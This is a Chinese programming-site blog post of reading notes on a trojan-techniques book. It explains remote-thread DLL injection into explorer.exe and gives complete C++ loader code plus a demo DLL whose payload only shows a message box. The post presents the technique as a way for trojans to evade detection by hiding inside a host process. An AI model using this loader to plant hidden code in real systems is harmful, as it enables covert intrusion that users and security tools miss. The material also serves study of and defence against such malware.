热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

木马隐藏技术(3)--进程注入

此为《木马技术揭秘与防御》系列读书笔记进程注入prerequirement类似的说法:线程插入、DLL注入、远程线程插入线程插入:让一个线程在别的进程中执行DLL文件

此为《木马技术揭秘与防御》系列读书笔记


 

进程注入prerequirement

类似的说法:

线程插入、DLL注入、远程线程插入

线程插入:

让一个线程在别的进程中执行

DLL文件隐藏的原理:

dll文件不能单独运行,需要由进程(宿主)加载并调用。因为不能单独运行,dll文件就不会在进程管理器中出现,于是入侵检测软件和进程列表中都只有宿主进程的id,而找不到dll。

进程注入的优点:

1.需要插入到远程进程的内存空间是通过virtualAllocEx这样的函数分配的,只存在于内存中,如果不是内存查杀,很难发现。

2.可以复用宿主进程的名称、端口,更加隐蔽

进程注入的流程

1. 编写引导程序(Loader.exe),将dll文件注入到远程进程

1.1 将系统权限提升到Debug模式,因为只有debug模式才能打开远程进程的handle。使用到的函数:EnableDebugPrivilege

1.2 打开远程进程。使用到的函数:OpenProcess

HANDLE WINAPI OpenProcess(
  __in  DWORD dwDesiredAccess,
  __in  BOOL bInheritHandle,
  __in  DWORD dwProcessId
);

第一个参数的权限至少是:PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE (这些权限对 proteced 进程无效)

方便起见,这里直接给PROCESS_ALL_ACCESS权限

1.3 给DLL文件的路径分配内存空间。使用到的函数:VirtualAllocEx()。

1.4 将DLL文件内容写入到远程进程。使用到的函数:WriteProcessMemory。

BOOL WINAPI WriteProcessMemory(
  __in   HANDLE hProcess,
  __in   LPVOID lpBaseAddress,
  __in   LPCVOID lpBuffer,
  __in   SIZE_T nSize,
  __out  SIZE_T *lpNumberOfBytesWritten
);

基址lpBaseAddress 为 VirtualAllocEx 分配的空间首地址

1.5 在宿主进程中启动新线程完成插入。使用到的函数:CreateRemoteThread。

HANDLE WINAPI CreateRemoteThread(
  __in   HANDLE hProcess,
  __in   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in   SIZE_T dwStackSize,
  __in   LPTHREAD_START_ROUTINE lpStartAddress,
  __in   LPVOID lpParameter,
  __in   DWORD dwCreationFlags,
  __out  LPDWORD lpThreadId
);

重点在第四个参数 -- lpStartAddress:

A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. 

lpStartAddress指向宿主进程中线程的起始地址,这里,新线程用来执行 dll 中的函数,所以要找到插入 dll 的首地址。

使用LoadLibraryA()函数来加载dll,使用前需要知道它的入口地址,所以用GetProcAddress()来获得入口地址,如下:

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryA");

 

2. 编写恶意 dll文件(DllDemo.dll),做任意操作。

新建一个简单的dll工程,主文件内容如下,编译后放到Loader.exe工程的根目录既可。

// DllDemo.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include 
#include 

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
{
    char * szProcessId = (char*)malloc(10 * sizeof(char));
    switch(ul_reason_for_call){
    case DLL_PROCESS_ATTACH:{
        _itoa(GetCurrentProcessId(),szProcessId,10);
        MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
                            }
    default:
        return TRUE;
    }
}

试验效果:

使用xuetr查看,发现dll文件已经插入explorer进程中


 

Loader 对应的代码如下:

View Code
  1 #include 
  2 #include 
  3 #include 
  4 
  5 BOOL InjectDll(char *, DWORD);
  6 DWORD GetProcessId();
  7 int EnableDebugPrivilege(const char* name);
  8 
  9 using namespace std;
 10 
 11 int main()
 12 {
 13     char myFile[MAX_PATH];
 14     GetCurrentDirectory(MAX_PATH,myFile);
 15     strcat(myFile,"\\DllDemo.dll");
 16     cout<<"myFile=>"<endl;
 17     if(!InjectDll(myFile,GetProcessId())){
 18         cout<<"inject failed"<<endl;
 19         return 1;
 20     }
 21     cout<<"inject succ!!"<<endl;
 22     return 0;
 23 }
 24 
 25 BOOL InjectDll(char * fullPath, DWORD dwRemoteProcessId)
 26 {
 27     HANDLE hRemoteProcess;
 28     BOOL bRet;
 29     // 1st: set debug mode for more privilege
 30     EnableDebugPrivilege(SE_DEBUG_NAME);
 31     // 2nd: open the remote process
 32     hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
 33     // 3nd: use VirtualAlloc() to request memory for our dll file
 34     char * pszLibFileRemote;
 35     pszLibFileRemote = (char*)VirtualAllocEx(hRemoteProcess,NULL,lstrlen(fullPath)+1,MEM_COMMIT,PAGE_READWRITE);
 36     // 4th: write into remote process's share memory
 37     bRet = WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void *)fullPath,lstrlen(fullPath)+1, NULL);
 38     if(!bRet){
 39         cout<<"write process memory failed"<<endl;
 40     }
 41     // 5th: calculate Enter Address of LoadLibraryA
 42     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")),"LoadLibraryA");
 43     HANDLE hRemoteThread;
 44     if((hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL)) == NULL){
 45         cout<<"Inject Remote Thread failed!"<<endl;
 46         return FALSE;
 47     }
 48 
 49     CloseHandle(hRemoteThread);
 50     CloseHandle(hRemoteProcess);
 51 
 52     return TRUE;
 53 }
 54 
 55 DWORD GetProcessId()
 56 {
 57     DWORD dwPid = -1;
 58     HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 59 
 60     PROCESSENTRY32 lPrs;
 61     ZeroMemory(&lPrs,sizeof(lPrs));
 62     lPrs.dwSize = sizeof(lPrs);
 63     char *targetFile = "explorer.exe";
 64     Process32First(hSnap,&lPrs);
 65     if(strstr(targetFile,lPrs.szExeFile)){
 66         dwPid = lPrs.th32ProcessID;
 67         return dwPid;
 68     }
 69     // else
 70     while(1){
 71         ZeroMemory(&lPrs,sizeof(lPrs));
 72         lPrs.dwSize = (&lPrs,sizeof(lPrs));
 73         if(!Process32Next(hSnap,&lPrs)){
 74             dwPid = -1;
 75             break;
 76         }
 77         if(strstr(targetFile,lPrs.szExeFile)){
 78             dwPid = lPrs.th32ProcessID;
 79             break;
 80         }
 81     }
 82     cout<<"Pid of Explorer.exe"<endl;
 83     return dwPid;
 84 }
 85 
 86 int EnableDebugPrivilege(const char* name)
 87 {    
 88     HANDLE hToken;
 89     TOKEN_PRIVILEGES tp;
 90     LUID luid;
 91 
 92     OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);
 93     LookupPrivilegeValue(NULL,name,&luid);
 94     tp.PrivilegeCount = 1;
 95     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 96     tp.Privileges[0].Luid = luid;
 97     
 98     if(AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL)){
 99         cout<<"Adjust privilege succ!"<<endl;
100     }
101     
102     return 0;
103 }

推荐阅读
  • 猜字母游戏
    猜字母游戏猜字母游戏——设计数据结构猜字母游戏——设计程序结构猜字母游戏——实现字母生成方法猜字母游戏——实现字母检测方法猜字母游戏——实现主方法1猜字母游戏——设计数据结构1.1 ... [详细]
  • 本文介绍了PE文件结构中的导出表的解析方法,包括获取区段头表、遍历查找所在的区段等步骤。通过该方法可以准确地解析PE文件中的导出表信息。 ... [详细]
  • 主线:设计窗口类注册窗口类产生窗口显示窗口更新窗口消息循环(将消息路由到窗口中去处理)。APPMODUL.CPP源文件被编译链接进入项目,从APPMOD ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • 本文介绍了关于apache、phpmyadmin、mysql、php、emacs、path等知识点,以及如何搭建php环境。文章提供了详细的安装步骤和所需软件列表,希望能帮助读者解决与LAMP相关的技术问题。 ... [详细]
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
  • 本文介绍了一种轻巧方便的工具——集算器,通过使用集算器可以将文本日志变成结构化数据,然后可以使用SQL式查询。集算器利用集算语言的优点,将日志内容结构化为数据表结构,SPL支持直接对结构化的文件进行SQL查询,不再需要安装配置第三方数据库软件。本文还详细介绍了具体的实施过程。 ... [详细]
  • 本文讨论了在VMWARE5.1的虚拟服务器Windows Server 2008R2上安装oracle 10g客户端时出现的问题,并提供了解决方法。错误日志显示了异常访问违例,通过分析日志中的问题帧,找到了解决问题的线索。文章详细介绍了解决方法,帮助读者顺利安装oracle 10g客户端。 ... [详细]
  • 全面介绍Windows内存管理机制及C++内存分配实例(四):内存映射文件
    本文旨在全面介绍Windows内存管理机制及C++内存分配实例中的内存映射文件。通过对内存映射文件的使用场合和与虚拟内存的区别进行解析,帮助读者更好地理解操作系统的内存管理机制。同时,本文还提供了相关章节的链接,方便读者深入学习Windows内存管理及C++内存分配实例的其他内容。 ... [详细]
  • 在加载一个第三方厂商的dll文件时,提示“找不到指定模块,加载失败”。由于缺乏必要的技术支持,百思不得期间。后来发现一个有用的工具 ... [详细]
  • Linux线程的同步和互斥
    目录1、线程的互斥2、可重入VS线程安全3、线程的同步1、线程的互斥 ... [详细]
  • JVM的方法执行引擎模板表
    Java的模板解析执行需要模板表与转发表的支持,而这2个表中的数据在HotSpot虚拟机启动时就会初始化。这一篇首先介绍模板表。在启动虚拟机阶段会调用init_globals()方 ... [详细]
  • 不知道你是否还记得之前在进程中的信号处理时,提到过阻塞信号集与未决信号集的概念,如果你已经忘记了,请参考《阻塞信号与未决信号》一文回忆一下 ... [详细]
  • pthread_mutex_lockpthread_mutex_lock(pthread_mutex_t*mutex);intpthread_mutex_trylock(pthre ... [详细]
  • C语言编程gcc怎么生成静态库.a和动态库.so
    这篇文章将为大家详细讲解有关C语言编程gcc怎么生成静态库.a和动态库.so,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章 ... [详细]
author-avatar
挥霍无罪1988
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有